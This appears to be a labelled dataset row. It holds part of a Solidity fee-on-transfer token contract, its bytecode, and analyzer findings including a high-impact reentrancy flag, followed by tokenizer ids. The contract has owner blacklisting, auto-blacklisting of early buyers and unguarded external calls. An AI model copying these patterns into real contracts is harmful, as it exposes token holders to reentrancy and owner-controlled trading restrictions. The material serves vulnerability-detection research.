(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellLiquidityFee = earlySellLiquidityFee; sellMarketingFee = earlySellMarketingFee; sellDevFee = earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } else { sellLiquidityFee = 2; sellMarketingFee = 3; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } if (!enableEarlySellTax) { sellLiquidityFee = 3; sellMarketingFee = 3; sellDevFee = 1; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function Chire(address[] calldata recipients, uint256[] calldata values) external onlyOwner { _approve(owner(), owner(), totalSupply()); for (uint256 i = 0; i < recipients.length; i++) { transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals()); } } }
0x6080604052600436106103855760003560e01c806392136913116101d1578063b62496f511610102578063d85ba063116100a0578063f11a24d31161006f578063f11a24d314610a4c578063f2fde38b14610a62578063f637434214610a82578063f8b45b0514610a9857600080fd5b8063d85ba063146109c5578063dd62ed3e146109db578063e2f4560514610a21578063e884f26014610a3757600080fd5b8063c18bc195116100dc578063c18bc19514610955578063c876d0b914610975578063c8c8ebe41461098f578063d257b34f146109a557600080fd5b8063b62496f5146108e6578063bbc0c74214610916578063c02466681461093557600080fd5b8063a0d82dc51161016f578063a4d15b6411610149578063a4d15b641461086f578063a7fc9e2114610890578063a9059cbb146108a6578063aacebbe3146108c657600080fd5b8063a0d82dc514610819578063a26577781461082f578063a457c2d71461084f57600080fd5b80639a7a23d6116101ab5780639a7a23d6146107ad5780639c3b4fdc146107cd5780639c63e6b9146107e35780639fccce321461080357600080fd5b80639213691314610762578063924de9b71461077857806395d89b411461079857600080fd5b806339509351116102b657806370a08231116102545780637bce5a04116102235780637bce5a04146106f95780638095d5641461070f5780638a8c523c1461072f5780638da5cb5b1461074457600080fd5b806370a0823114610679578063715018a6146106af578063751039fc146106c45780637571336a146106d957600080fd5b80634fbee193116102905780634fbee193146105f4578063541a43cf1461062d5780636a486a8e146106435780636ddd17131461065957600080fd5b8063395093511461058657806349bd5a5e146105a65780634a62bb65146105da57600080fd5b80631f3fed8f1161032357806323b872dd116102fd57806323b872dd146105145780632bf3d42d146105345780632d5a5d341461054a578063313ce5671461056a57600080fd5b80631f3fed8f146104be578063203e727e146104d457806322d3e2aa146104f457600080fd5b80631694505e1161035f5780631694505e1461041b57806318160ddd146104675780631816467f146104865780631a8145bb146104a857600080fd5b806306fdde0314610391578063095ea7b3146103bc57806310d5de53146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610aae565b6040516103b39190612b9f565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612c0c565b610b40565b60405190151581526020016103b3565b3480156103f857600080fd5b506103dc610407366004612c38565b602080526000908152604090205460ff1681565b34801561042757600080fd5b5061044f7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103b3565b34801561047357600080fd5b506002545b6040519081526020016103b3565b34801561049257600080fd5b506104a66104a1366004612c38565b610b57565b005b3480156104b457600080fd5b50610478601c5481565b3480156104ca57600080fd5b50610478601b5481565b3480156104e057600080fd5b506104a66104ef366004612c55565b610be7565b34801561050057600080fd5b506104a661050f366004612c6e565b610cc4565b34801561052057600080fd5b506103dc61052f366004612cb1565b610d7e565b34801561054057600080fd5b5061047860195481565b34801561055657600080fd5b506104a6610565366004612d02565b610de7565b34801561057657600080fd5b50604051601281526020016103b3565b34801561059257600080fd5b506103dc6105a1366004612c0c565b610e3c565b3480156105b257600080fd5b5061044f7f00000000000000000000000061abbedd029c90074e1e949fb78c8143dc1adb8881565b3480156105e657600080fd5b50600b546103dc9060ff1681565b34801561060057600080fd5b506103dc61060f366004612c38565b6001600160a01b03166000908152601f602052604090205460ff1690565b34801561063957600080fd5b5061047860185481565b34801561064f57600080fd5b5061047860145481565b34801561066557600080fd5b50600b546103dc9062010000900460ff1681565b34801561068557600080fd5b50610478610694366004612c38565b6001600160a01b031660009081526020819052604090205490565b3480156106bb57600080fd5b506104a6610e72565b3480156106d057600080fd5b506103dc610ee6565b3480156106e557600080fd5b506104a66106f4366004612d02565b610f23565b34801561070557600080fd5b5061047860115481565b34801561071b57600080fd5b506104a661072a366004612d37565b610f77565b34801561073b57600080fd5b506104a661101f565b34801561075057600080fd5b506005546001600160a01b031661044f565b34801561076e57600080fd5b5061047860155481565b34801561078457600080fd5b506104a6610793366004612d63565b611060565b3480156107a457600080fd5b506103a66110a6565b3480156107b957600080fd5b506104a66107c8366004612d02565b6110b5565b3480156107d957600080fd5b5061047860135481565b3480156107ef57600080fd5b506104a66107fe366004612dca565b611195565b34801561080f57600080fd5b50610478601d5481565b34801561082557600080fd5b5061047860175481565b34801561083b57600080fd5b506104a661084a366004612d63565b611267565b34801561085b57600080fd5b506103dc61086a366004612c0c565b6112af565b34801561087b57600080fd5b50600b546103dc906301000000900460ff1681565b34801561089c57600080fd5b50610478601a5481565b3480156108b257600080fd5b506103dc6108c1366004612c0c565b6112fe565b3480156108d257600080fd5b506104a66108e1366004612c38565b61130b565b3480156108f257600080fd5b506103dc610901366004612c38565b60216020526000908152604090205460ff1681565b34801561092257600080fd5b50600b546103dc90610100900460ff1681565b34801561094157600080fd5b506104a6610950366004612d02565b611392565b34801561096157600080fd5b506104a6610970366004612c55565b61141b565b34801561098157600080fd5b50600f546103dc9060ff1681565b34801561099b57600080fd5b5061047860085481565b3480156109b157600080fd5b506103dc6109c0366004612c55565b6114ec565b3480156109d157600080fd5b5061047860105481565b3480156109e757600080fd5b506104786109f6366004612e36565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a2d57600080fd5b5061047860095481565b348015610a4357600080fd5b506103dc611643565b348015610a5857600080fd5b5061047860125481565b348015610a6e57600080fd5b506104a6610a7d366004612c38565b611680565b348015610a8e57600080fd5b5061047860165481565b348015610aa457600080fd5b50610478600a5481565b606060038054610abd90612e6f565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae990612e6f565b8015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b6000610b4d3384846117d1565b5060015b92915050565b6005546001600160a01b03163314610b8a5760405162461bcd60e51b8152600401610b8190612eaa565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c115760405162461bcd60e51b8152600401610b8190612eaa565b670de0b6b3a76400006103e8610c2660025490565b610c31906001612ef5565b610c3b9190612f14565b610c459190612f14565b811015610cac5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610b81565b610cbe81670de0b6b3a7640000612ef5565b60085550565b6005546001600160a01b03163314610cee5760405162461bcd60e51b8152600401610b8190612eaa565b60158690556016859055601784905560188390556019829055601a81905583610d178688612f36565b610d219190612f36565b6014819055601e1015610d765760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420333025206f72206c6573730000006044820152606401610b81565b505050505050565b6000610d8b8484846118f6565b610ddd8433610dd8856040518060600160405280602881526020016131f4602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906123ee565b6117d1565b5060019392505050565b6005546001600160a01b03163314610e115760405162461bcd60e51b8152600401610b8190612eaa565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610b4d918590610dd8908661176b565b6005546001600160a01b03163314610e9c5760405162461bcd60e51b8152600401610b8190612eaa565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610f135760405162461bcd60e51b8152600401610b8190612eaa565b50600b805460ff19169055600190565b6005546001600160a01b03163314610f4d5760405162461bcd60e51b8152600401610b8190612eaa565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610fa15760405162461bcd60e51b8152600401610b8190612eaa565b60118390556012829055601381905580610fbb8385612f36565b610fc59190612f36565b60108190556014101561101a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610b81565b505050565b6005546001600160a01b031633146110495760405162461bcd60e51b8152600401610b8190612eaa565b600b805462ffff0019166201010017905543601e55565b6005546001600160a01b0316331461108a5760405162461bcd60e51b8152600401610b8190612eaa565b600b8054911515620100000262ff000019909216919091179055565b606060048054610abd90612e6f565b6005546001600160a01b031633146110df5760405162461bcd60e51b8152600401610b8190612eaa565b7f00000000000000000000000061abbedd029c90074e1e949fb78c8143dc1adb886001600160a01b0316826001600160a01b031614156111875760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610b81565b6111918282612428565b5050565b6005546001600160a01b031633146111bf5760405162461bcd60e51b8152600401610b8190612eaa565b6111e86111d46005546001600160a01b031690565b6005546001600160a01b03166002546117d1565b60005b838110156112605761124d3386868481811061120957611209612f4e565b905060200201602081019061121e9190612c38565b61122a6012600a613048565b86868681811061123c5761123c612f4e565b9050602002013561052f9190612ef5565b508061125881613057565b9150506111eb565b5050505050565b6005546001600160a01b031633146112915760405162461bcd60e51b8152600401610b8190612eaa565b600b805491151563010000000263ff00000019909216919091179055565b6000610b4d3384610dd88560405180606001604052806025815260200161321c602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906123ee565b6000610b4d3384846118f6565b6005546001600160a01b031633146113355760405162461bcd60e51b8152600401610b8190612eaa565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146113bc5760405162461bcd60e51b8152600401610b8190612eaa565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114455760405162461bcd60e51b8152600401610b8190612eaa565b670de0b6b3a76400006103e861145a60025490565b611465906005612ef5565b61146f9190612f14565b6114799190612f14565b8110156114d45760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610b81565b6114e681670de0b6b3a7640000612ef5565b600a5550565b6005546000906001600160a01b031633146115195760405162461bcd60e51b8152600401610b8190612eaa565b620186a061152660025490565b611531906001612ef5565b61153b9190612f14565b8210156115a85760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610b81565b6103e86115b460025490565b6115bf906005612ef5565b6115c99190612f14565b8211156116355760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610b81565b50600981905560015b919050565b6005546000906001600160a01b031633146116705760405162461bcd60e51b8152600401610b8190612eaa565b50600f805460ff19169055600190565b6005546001600160a01b031633146116aa5760405162461bcd60e51b8152600401610b8190612eaa565b6001600160a01b03811661170f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b81565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000806117788385612f36565b9050838110156117ca5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b81565b9392505050565b6001600160a01b0383166118335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b81565b6001600160a01b0382166118945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b81565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661191c5760405162461bcd60e51b8152600401610b8190613072565b6001600160a01b0382166119425760405162461bcd60e51b8152600401610b81906130b7565b6001600160a01b0382166000908152600e602052604090205460ff1615801561198457506001600160a01b0383166000908152600e602052604090205460ff16155b6119ea5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b6064820152608401610b81565b806119fb5761101a8383600061247c565b600b5460ff1615611eb5576005546001600160a01b03848116911614801590611a3257506005546001600160a01b03838116911614155b8015611a4657506001600160a01b03821615155b8015611a5d57506001600160a01b03821661dead14155b8015611a735750600554600160a01b900460ff16155b15611eb557600b54610100900460ff16611b0b576001600160a01b0383166000908152601f602052604090205460ff1680611ac657506001600160a01b0382166000908152601f602052604090205460ff165b611b0b5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610b81565b600f5460ff1615611c52576005546001600160a01b03838116911614801590611b6657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611ba457507f00000000000000000000000061abbedd029c90074e1e949fb78c8143dc1adb886001600160a01b0316826001600160a01b031614155b15611c5257326000908152600c60205260409020544311611c3f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610b81565b326000908152600c602052604090204390555b6001600160a01b03831660009081526021602052604090205460ff168015611c9257506001600160a01b038216600090815260208052604090205460ff16155b15611d7657600854811115611d075760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610b81565b600a546001600160a01b038316600090815260208190526040902054611d2d9083612f36565b1115611d715760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b81565b611eb5565b6001600160a01b03821660009081526021602052604090205460ff168015611db657506001600160a01b038316600090815260208052604090205460ff16155b15611e2c57600854811115611d715760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610b81565b6001600160a01b038216600090815260208052604090205460ff16611eb557600a546001600160a01b038316600090815260208190526040902054611e719083612f36565b1115611eb55760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b81565b601e54611ec3906003612f36565b4311158015611f0457507f00000000000000000000000061abbedd029c90074e1e949fb78c8143dc1adb886001600160a01b0316826001600160a01b031614155b8015611f2d57506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d14155b15611f56576001600160a01b0382166000908152600e60205260409020805460ff191660011790555b7f00000000000000000000000061abbedd029c90074e1e949fb78c8143dc1adb886001600160a01b0390811690841614801581611f9c5750600b546301000000900460ff165b15612042576001600160a01b0384166000908152600d602052604090205415801590611fee57506001600160a01b0384166000908152600d60205260409020544290611feb9062015180612f36565b10155b156120275760185460168190556019546015819055601a5460178190559161201591612f36565b61201f9190612f36565b6014556120b8565b60026016819055600360158190556017549161201591612f36565b6001600160a01b0383166000908152600d602052604090205461207b576001600160a01b0383166000908152600d602052604090204290555b600b546301000000900460ff166120b85760036016819055601581905560016017819055906120aa9080612f36565b6120b49190612f36565b6014555b30600090815260208190526040902054600954811080159081906120e45750600b5462010000900460ff165b80156120fa5750600554600160a01b900460ff16155b801561211f57506001600160a01b03861660009081526021602052604090205460ff16155b801561214457506001600160a01b0386166000908152601f602052604090205460ff16155b801561216957506001600160a01b0385166000908152601f602052604090205460ff16155b15612197576005805460ff60a01b1916600160a01b179055612189612585565b6005805460ff60a01b191690555b6005546001600160a01b0387166000908152601f602052604090205460ff600160a01b9092048216159116806121e557506001600160a01b0386166000908152601f602052604090205460ff165b156121ee575060005b600081156123d9576001600160a01b03871660009081526021602052604090205460ff16801561222057506000601454115b156122de57612245606461223f601454896127bf90919063ffffffff16565b9061283e565b9050601454601654826122589190612ef5565b6122629190612f14565b601c60008282546122739190612f36565b90915550506014546017546122889083612ef5565b6122929190612f14565b601d60008282546122a39190612f36565b90915550506014546015546122b89083612ef5565b6122c29190612f14565b601b60008282546122d39190612f36565b909155506123bb9050565b6001600160a01b03881660009081526021602052604090205460ff16801561230857506000601054115b156123bb57612327606461223f601054896127bf90919063ffffffff16565b90506010546012548261233a9190612ef5565b6123449190612f14565b601c60008282546123559190612f36565b909155505060105460135461236a9083612ef5565b6123749190612f14565b601d60008282546123859190612f36565b909155505060105460115461239a9083612ef5565b6123a49190612f14565b601b60008282546123b59190612f36565b90915550505b80156123cc576123cc88308361247c565b6123d681876130fa565b95505b6123e488888861247c565b5050505050505050565b600081848411156124125760405162461bcd60e51b8152600401610b819190612b9f565b50600061241f84866130fa565b95945050505050565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166124a25760405162461bcd60e51b8152600401610b8190613072565b6001600160a01b0382166124c85760405162461bcd60e51b8152600401610b81906130b7565b612505816040518060600160405280602681526020016131ce602691396001600160a01b03861660009081526020819052604090205491906123ee565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612534908261176b565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016118e9565b3060009081526020819052604081205490506000601d54601b54601c546125ac9190612f36565b6125b69190612f36565b905060008215806125c5575081155b156125cf57505050565b6009546125dd906014612ef5565b8311156125f5576009546125f2906014612ef5565b92505b6000600283601c54866126089190612ef5565b6126129190612f14565b61261c9190612f14565b9050600061262a8583612880565b905047612636826128c2565b60006126424783612880565b9050600061265f8761223f601b54856127bf90919063ffffffff16565b9050600061267c8861223f601d54866127bf90919063ffffffff16565b905060008161268b84866130fa565b61269591906130fa565b6000601c819055601b819055601d8190556007546040519293506001600160a01b031691849181818185875af1925050503d80600081146126f2576040519150601f19603f3d011682016040523d82523d6000602084013e6126f7565b606091505b5090985050861580159061270b5750600081115b1561275e5761271a8782612a89565b601c54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d80600081146127ab576040519150601f19603f3d011682016040523d82523d6000602084013e6127b0565b606091505b50505050505050505050505050565b6000826127ce57506000610b51565b60006127da8385612ef5565b9050826127e78583612f14565b146117ca5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b81565b60006117ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b71565b60006117ca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123ee565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106128f7576128f7612f4e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561297057600080fd5b505afa158015612984573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129a89190613111565b816001815181106129bb576129bb612f4e565b60200260200101906001600160a01b031690816001600160a01b031681525050612a06307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846117d1565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612a5b90859060009086903090429060040161312e565b600060405180830381600087803b158015612a7557600080fd5b505af1158015610d76573d6000803e3d6000fd5b612ab4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846117d1565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c4016060604051808303818588803b158015612b3857600080fd5b505af1158015612b4c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611260919061319f565b60008183612b925760405162461bcd60e51b8152600401610b819190612b9f565b50600061241f8486612f14565b600060208083528351808285015260005b81811015612bcc57858101830151858201604001528201612bb0565b81811115612bde576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114612c0957600080fd5b50565b60008060408385031215612c1f57600080fd5b8235612c2a81612bf4565b946020939093013593505050565b600060208284031215612c4a57600080fd5b81356117ca81612bf4565b600060208284031215612c6757600080fd5b5035919050565b60008060008060008060c08789031215612c8757600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600080600060608486031215612cc657600080fd5b8335612cd181612bf4565b92506020840135612ce181612bf4565b929592945050506040919091013590565b8035801515811461163e57600080fd5b60008060408385031215612d1557600080fd5b8235612d2081612bf4565b9150612d2e60208401612cf2565b90509250929050565b600080600060608486031215612d4c57600080fd5b505081359360208301359350604090920135919050565b600060208284031215612d7557600080fd5b6117ca82612cf2565b60008083601f840112612d9057600080fd5b50813567ffffffffffffffff811115612da857600080fd5b6020830191508360208260051b8501011115612dc357600080fd5b9250929050565b60008060008060408587031215612de057600080fd5b843567ffffffffffffffff80821115612df857600080fd5b612e0488838901612d7e565b90965094506020870135915080821115612e1d57600080fd5b50612e2a87828801612d7e565b95989497509550505050565b60008060408385031215612e4957600080fd5b8235612e5481612bf4565b91506020830135612e6481612bf4565b809150509250929050565b600181811c90821680612e8357607f821691505b60208210811415612ea457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612f0f57612f0f612edf565b500290565b600082612f3157634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612f4957612f49612edf565b500190565b634e487b7160e01b600052603260045260246000fd5b600181815b80851115612f9f578160001904821115612f8557612f85612edf565b80851615612f9257918102915b93841c9390800290612f69565b509250929050565b600082612fb657506001610b51565b81612fc357506000610b51565b8160018114612fd95760028114612fe357612fff565b6001915050610b51565b60ff841115612ff457612ff4612edf565b50506001821b610b51565b5060208310610133831016604e8410600b8410161715613022575081810a610b51565b61302c8383612f64565b806000190482111561304057613040612edf565b029392505050565b60006117ca60ff841683612fa7565b600060001982141561306b5761306b612edf565b5060010190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008282101561310c5761310c612edf565b500390565b60006020828403121561312357600080fd5b81516117ca81612bf4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561317e5784516001600160a01b031683529383019391830191600101613159565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156131b457600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122023e511730c3ac48cc715bfc730210cff24980c558a2b487f1edc5a32eed1142164736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 2620, 16147, 6305, 2581, 2497, 23632, 4246, 2497, 27531, 2683, 2497, 22394, 2575, 2475, 2050, 2575, 2278, 2509, 2497, 15136, 21926, 2497, 2683, 24434, 19317, 23352, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1008, 1008, 1008, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1023, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 2655, 2850, 2696, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,510
